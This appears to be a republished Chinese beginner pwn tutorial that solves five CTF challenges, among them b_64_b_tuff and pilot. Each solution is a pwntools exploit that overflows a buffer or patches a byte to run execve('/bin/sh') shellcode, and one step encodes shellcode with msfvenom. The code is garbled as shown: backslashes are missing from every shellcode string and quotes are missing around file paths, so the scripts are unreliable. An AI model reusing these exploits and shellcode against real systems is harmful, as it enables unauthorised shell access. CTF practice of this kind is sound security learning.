pwn入门系列习题解析

Posted xingzherufeng

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了pwn入门系列习题解析相关的知识,希望对你有一定的参考价值。

 

第一题--BITSCTF 2017-Command_Line

 

查看文件格式以及开启的保护措施,此处全保护均未开启(默认开启ASLR),且为64位ELF。

 技术分享图片

 

尝试运行,发现打印出一处地址(基本不用考虑ASLR了),猜测为栈某处地址

 技术分享图片

放入ida观察逻辑,发现的确打印了栈上的一个地址,可以直接用。此处可以顺便探测一下偏移,0x10+8=0x18,输入0x18个字符后即可覆盖ret。只要注意shellcode位于泄露的栈地址后的0x20处(0x18+8=0x20)。至于shellcode直接从网上找就可以了,一个不行多试试别的(我第一个不行,换了一个就好了)。

 技术分享图片

完整exp如下:

 1 #!/usr/bin/python
 2 #coding:utf-8
 3 
 4 from pwn import *
 5 io = process(./pwn1)
 6 
 7 shellcode = x31xf6x48xbbx2fx62x69x6ex2fx2fx73x68x56x53x54x5fx6ax3bx58x31xd2x0fx05
 8 
 9 shellcode_address_at_stack = int(io.recv()[:-1], 16)+0x20
10 log.info("Leak stack address = %x", shellcode_address_at_stack)
11 
12 payload = "x90"*24
13 payload += p64(shellcode_address_at_stack)
14 payload += shellcode
15 io.sendline(payload)
16 io.interactive()

 

 

 

第二题—BSides San Francisco CTF 2017-b_64_b_tuff

 

查看文件格式和保护,发现32位ELF文件,开了NX保护,即数据段不可执行。

 技术分享图片

 

尝试运行,发现打印出了栈顶的地址,其次会要求我们输入,我们看到他会计算我们输入的字符个数,接着会发现一个貌似是base64的加密(特征“==”结尾)。且发生栈溢出。

 技术分享图片

我们放入ida观察程序逻辑。重点关注后4个语句。首先将输入的字符串进行base64加密,然后打印出加密的base64码,接着会运行他。那么现在目的明确,我们需要输入一串字符串,满足base64加密后为可执行的shellcode即可。

 技术分享图片

这里推荐msfvenom工具

技术分享图片

 

首先,我们需要一个编码器,只需要大小写都满足的混合代码就可以,用msfvenom -l encoders来查看编码器。

 技术分享图片

编码器还是很多的,我们就选择x86/alpha_mixed就行。

由于msfvenom的输入只能从stdin读取,因此我们用管道符通过python输入给他

python -c ‘import sys; sys.stdout.write("x31xf6x48xbbx2fx62x69x6ex2fx2fx73x68x56x53x54x5fx6ax3bx58x31xd2x0fx05")‘ | msfvenom -p - -e x86/alpha_mixed -a linux -f raw -a x86 --platform linux -o payload

完整exp如下:

 1 #!/usr/bin/python
 2 #coding:utf-8
 3 
 4 from pwn import *
 5 from base64 import *
 6 
 7 io = process(./b-64-b-tuff)
 8 
 9 shellcode = b64decode("PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIp1kyigHaX06krqPh6ODoaccXU8ToE2bIbNLIXcHMOpAA")
10 
11 print io.recv()
12 io.send(shellcode)    
13 print io.recv()        
14 io.interactive()

 

 

 

第三题--CSAW Quals CTF 2017-pilot

 

查看文件格式和开启保护情况,全保护未开启,64位ELF,考虑执行shellcode

技术分享图片

 

观察程序执行情况,比较有用的信息是打印出的一个地址,别的好像都是废话。

 技术分享图片

 

我们把它放入ida观察一下逻辑

 技术分享图片

这么多std库的调用,应该是c++的代码,我们忽略掉多余信息,关注read函数,发现他向buf数组中输入了0x40个字符,而buf位于rbp-0x20处,这里明显存在栈溢出。

 技术分享图片

那么我们现在的思路就是溢出ret制造栈溢出。

但是我这里直接正常溢出覆盖返回值执行shellcode会出错,我在main函数返回时的ret下断点,跟进调试

技术分享图片

 技术分享图片

我们发现,当执行完push rbx后,函数返回值会被覆盖掉,我们接着执行

技术分享图片

上图是push rdi执行后,原本的shellcode最后一行也被替换掉了,由于我们暂时找不到比较短的shellcode,  因此我们需要对shellcode进行截断改造。

我们通过之前的调试可以发现,执行完push rdi后会破坏ret之前共24个字节(3*8)的栈空间数据。再则,我们read可控的输入为0x40,buf到rbp的距离为0x20,因此ret后的栈空间还有0x60-0x20-8-8=0x10,即16字节数据可控。而通过打开ida显示字节码的功能后,可以看出push rdi后shellcode还剩下8字节未执行,ret后的栈空间足够我们控制。

 技术分享图片

我们使用上述jmp跳转指令,可以看到它的字节码为EB 05(注意jmp跳转的距离是从该语句的下一条语句地址算,因此为0x34-0x2f=0x05)。这里注意到我们前面可以输入的shellcode未被覆盖部分为前24个字节,又考虑到需要留给jmp跳转语句两个字节(EB 18)

我们只要先传22字节的shellcode,再传2字节的EB 18进行跳转,再接上剩下8字节的shellcode,即可得到shell。

完整exp如下:

 1 #!/usr/bin/python
 2 #coding:utf-8
 3 
 4 from pwn import *
 5 
 6 io = process(./pilot)
 7 
 8 shellcode1 = "x48x31xd2x48xbbx2fx2fx62x69x6ex2fx73x68x48xc1xebx08x53x48x89xe7x50"
 9 shellcode1 += "xebx18"
10 shellcode2 = "x57x48x89xe6xb0x3bx0fx05"
11 print io.recvuntil("Location:")
12 shellcode_address_at_stack = int(io.recv()[0:14], 16)
13 log.info("Leak stack address = %x", shellcode_address_at_stack)
14 
15 payload = ""                        
16 payload += shellcode1
17 payload += "x90"*(0x28-len(shellcode1))
18 payload += p64(shellcode_address_at_stack)
19 payload += shellcode2
20 
21 io.send(payload)
22 io.interactive()

 

 

 

第四题--Openctf 2016-apprentice_www

 

老规矩,查看文件格式和保护开启情况,可以看到开启了NX保护,为32位程序。

 技术分享图片

 

尝试运行程序,发现程序要求我们输入,输入后提示栈溢出且把我们的输入当作命令执行(怀疑),感觉可以利用

 技术分享图片

 

扔入ida分析一波,发现main函数很简单,刷新缓冲区和alarm简单的反调试,主要关注一下setup函数和butterflyswag函数。

 技术分享图片

 技术分享图片

技术分享图片

我们发现在setup中调用了mprotect函数设置内存页属性,相当于设置了.bss,.data和.text可读可写可执行。接着进入下一个函数观察,发现有两个输入,第一个输入v1是一个单字节变量,第二个输入v2为一个地址,它会将v1的值写入我们输入的地址处,将地址的最低位给替换掉,由于只能修改一个字节,导致我们不能get shell,我们需要想办法通过一个字节的修改来扩大可控范围。

我们的想法是通过覆盖0x080485db处的jnz语句,使得其跳转回头继续执行两次scanf。

技术分享图片

 技术分享图片

这里需要注意一下,由于我们只能修改最后一个字节,因此此处通过计算得到(0x9d-0xdb=0xffc2),此处计算出为负值可以直接使用。注意我们在这里修改后每次执行到这里都会返回前两个scanf,我们可以借这个条件完成所有shellcode的输入(分次输入)。这里我们可以选择for循环,限制条件为shellcode长度。记住for循环执行完后我们需要将跳转语句修改为shellcode所在地址,然后过滤掉所有多余字符串即可开启shell。

 

完整exp如下:

 1 #!/usr/bin/python
 2 #coding:utf-8
 3 
 4 from pwn import *
 5 
 6 io = process(./apprentice_www)
 7 
 8 patch_jne_address = 0x080485da        #jnz loc_80485E9所在地址
 9 shellcode_address = 0x080485db        #shellcode放置的地址
10 
11 shellcode = "x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1xb0x0bxcdx80"
12 
13 io.sendline(str(patch_jne_address))
14 io.sendline(str(0xc2))                #将jnz loc_80485E9改成jnz loc_804859D,重复执行两个call __isoc99_scanf读取shellcode
15 
16 for i in xrange(len(shellcode)):            #逐字节写入shellcode到jnz loc_80485E9指令后面
17     io.sendline(str(shellcode_address+i))
18     io.sendline(str(ord(shellcode[i])))
19 
20 io.sendline(str(patch_jne_address))
21 io.sendline(str(0x00))                #写完shellcode后改为jnz loc_80485DB,执行shellcode
22 
23 io.recv()
24 io.interactive()

 

 

 

第五题--Openctf 2016-tyro_shellcode1

 

老方法走一遭,发现这次保护开的比较多啊,从保护上看貌似不能执行shellcode而且开了canary保护,栈溢出也被限制了。

 技术分享图片

 

放入ida瞧一瞧,从逻辑上瞧一瞧。发现mmap一个内存块,然后read输入也在这块内存块上,下面竟然把我们的输入直接执行了,这下简单了,只需要输入shellcode就拿到shell

 技术分享图片

这里有个注意点,read调用的输入函数,我们在交互的时候可以直接使用send,而不需要sendline,这样可以省下一个字节的空间,对于有些对栈空间要求严格题目可能有奇效。

 

完整exp如下:

 1 #!/usr/bin/python
 2 #coding:utf-8
 3 
 4 from pwn import *
 5 
 6 io = process(./tyro_shellcode1)
 7 
 8 shellcode = "x31xc9xf7xe1xb0x0bx51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80"
 9 
10 io.sendline(shellcode)
11 io.interactive()

 

以上是关于pwn入门系列习题解析的主要内容,如果未能解决你的问题,请参考以下文章

[NTUSTISC pwn LAB 5]rop入门实验

[NTUSTISC pwn LAB 7]Return to libc实验(puts泄露libc中gadget片段定位)

《C#零基础入门之百识百例》(九十)Tulpe元组解析 -- 订单查询

《C#零基础入门之百识百例》(九十)Tulpe元组解析 -- 订单查询

《C#零基础入门之百识百例》(八十八)系统类Dictionary字典解析 -- 21点游戏

《C#零基础入门之百识百例》(八十八)系统类Dictionary字典解析 -- 21点游戏